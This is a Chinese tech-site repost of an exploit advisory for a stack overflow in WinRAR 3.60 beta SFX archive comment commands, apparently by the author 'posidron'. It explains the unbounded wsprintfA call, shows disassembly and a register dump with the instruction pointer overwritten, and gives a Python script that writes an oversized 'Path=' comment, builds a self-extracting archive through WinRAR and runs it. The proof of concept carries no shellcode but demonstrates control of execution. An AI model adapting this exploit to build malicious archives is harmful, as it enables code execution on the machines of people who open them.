首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 安全知识 > WinRAR <= 3.60 beta 6 (SFX Path) 特别注意哦!
【标  题】:WinRAR <= 3.60 beta 6 (SFX Path) 特别注意哦!
【关键字】:WinRAR,3.60,beta,SFX,Path
【来  源】:http://www.cublog.cn/u/2056/showart.php?id=136985

WinRAR <= 3.60 beta 6 (SFX Path) 特别注意哦!

"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================

Tested Version(s)..: WinRAR 3.60 beta 4
Author.............: posidron

An SFX (SelF-eXtracting) archive is an archive, merged with an executable
module, which is used to extract files from the archive when executed. Thus no
external program is necessary to extract the contents of an SFX archive, it is
enough to execute it. Nevertheless WinRAR can work with SFX archives as with
any other archives, so if you do not want to run a received SFX archive (for
example, because of possible viruses), you may use WinRAR to view or extract
its contents. SFX archives usually have .exe extension as any other executable
file. (Quote: WinRAR Help)

WinRAR distributive includes several SFX modules. All SFX modules have .sfx
extension and must be in the same folder as WinRAR. By default WinRAR always
uses Default.sfx module.

Following commands are supported SFX commands by WinRAR, to configure the
executable module and to provide additional informations. These commands
will be placed in the "Comments" section within the produced package.

    License=<title of the license dialog>{license text}
    Delete=<filename>
    Overwrite=[n]
    Path=<path>
    Presetup=<program /arguments>
    Savepath
    Setup=<program>
    Shortcut=<DestType>,<SrcName>,<DestFolder>, <Description>,<ShortcutName>
    Silent=[Param]
    TempMode=[question,title]
    Text={string}
    Title=<title>

A detailed explanation of each command can be obtained in the "WinRAR Help",
in chapter SFX.

Each command above, which take string sequences as arguments is vulnerable
to a plain stack overflow while passing the user controled buffer through a
wsprintfA() without bounds checking.

This command allows to add a comment to an archive. The maximum comment
length is 62000 bytes for RAR archives and 32768 bytes for ZIP archives.
(Quote: WinRAR Help)

I selected the "Path" command to do a proof of concept of this vulnerability.
(2039 fill bytes + 4 bytes to overwrite the instruction pointer)

Example:

   004039B6  push  0                                ; /lParam = NULL
=> 004039B8  push  sample.00401183                  ; |DlgProc = sample.00401183
   004039BD  lea   edx, dword ptr ss:[ebp-24]       ; |
   004039C0  push  0                                ; |hOwner = NULL
   004039C2  mov   dword ptr ds:[415D78], edx       ; |
   004039C8  lea   ecx, dword ptr ss:[ebp-3C]       ; |
   004039CB  push  sample.00414113                  ; |pTemplate = "STARTDLG"
   004039D0  push  ebx                              ; |hInst
   004039D1  mov   dword ptr ds:[415D7C], ecx       ; |
   004039D7  call  <jmp.&USER32.DialogBoxParamA>    ; \DialogBoxParamA
........
=> 00401183  push  ebp
   00401184  mov   ebp, esp
   <snip>
   004015D0  push  eax                              ; /Path
   004015D1  call  <jmp.&KERNEL32.SetCurrentDirecto>; \SetCurrentDirectoryA
   004015D6  test  eax, eax
   004015D8  jnz   short sample.00401641
   004015DA  mov   eax, 82
   004015DF  call  sample.004029B4
   004015E4  push  eax                              ; /<%s>
   004015E5  lea   edx, dword ptr ss:[ebp-2C14]     ; |
   004015EB  push  edx                              ; |<%s>
   004015EC  push  sample.00414132                  ; |Format = "\"%s\"\n%s"
   004015F1  lea   ecx, dword ptr ss:[ebp-2E14]     ; |
   004015F7  push  ecx                              ; |s
:) 004015F8  call  <jmp.&USER32.wsprintfA>          ; \wsprintfA
   <snip>

After overflowing the "path" command:

   EAX 00000000
   ECX 766EF7A0
   EDX 3F55EB94 ntdll.KiFastSystemCallRet
   EBX 41414141
   ESP 766EFFDC ASCII "BBBBBBBBBBBB"
   EBP 00000003
   ESI 7673DB1E ASCII "SavePath\r\n"
   EDI 00414064 sample.00414064
   EIP DEADBEEF

The user has to open the SFX archive directly, so that nomally the GUI installer
would popup, to trigger the vulnerability. Not by choosing the "Extract to.."
option of WinRAR in the "right click" context menu.
"""

import os, sys

winrar__ = 'C:\Programme\WinRAR\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"


buf = "Path=" + "A" * 2039 + "\xef\xbe\xad\xde" + "B" * 12 + "\r\nSavePath\r\n"

try:
    info = open(sfxnfo__, "w+b")
    info.write(buf)
    info.close()
except IOError:
    sys.exit("Error: unable to create: " + sfxnfo__)

try:
    print "Creating archive:",
    os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
    os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
    print "done."
    print "Executing:",
    # debug only!
    os.spawnv(os.P_WAIT, result__, [result__, ""])
    print "done."
    print "Cleaning up:",
    os.remove(sfxnfo__)
    print "done."
except OSError:
    print "failed!"
    sys.exit("Error: application execution failed!")

7月6号黑吧黑客教程更新:【上一篇】
Hmac算法(转):【下一篇】
【相关文章】
  • C3CRM开源社区发布C3CRM3.0Beta3版!
  • MSDN WIKI Beta
  • 关于java -classpath 命令的简单使用
  • Java SE 6 Beta 2 发布...Mustang 8大看点
  • msn 卡通 beta
  • C3CRM开源社区发布C3CRM3.0Beta2版!
  • CLASSPATH的详解(初学园地)
  • 卸载Office 2007 Beta2后,Outlook 2003无法启动的解决方法
  • EMC存储设备与powerpath的关系
  • MS开始提供Windows Vista beta2下载
  • 【随机文章】
  • 计划管理法则:PDCAR
  • 14.1 Expression classifications
  • Backbase入门指南(Java)
  • 宽带接入网技术的发展与展望
  • C/C++学习----第三章 多态性和虚函数
  • 如何启动WIN XP下的任务计划
  • 仿FDISK及PQMAGIC列出分区逻辑盘符的prw.asm实现(1)
  • 《东方时代环球时事解读.时事节简版》 星期五 05年11月11日
  • Windows Workflow Foundation is coming...
  • 全文检索工具包Lncene工作原理
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.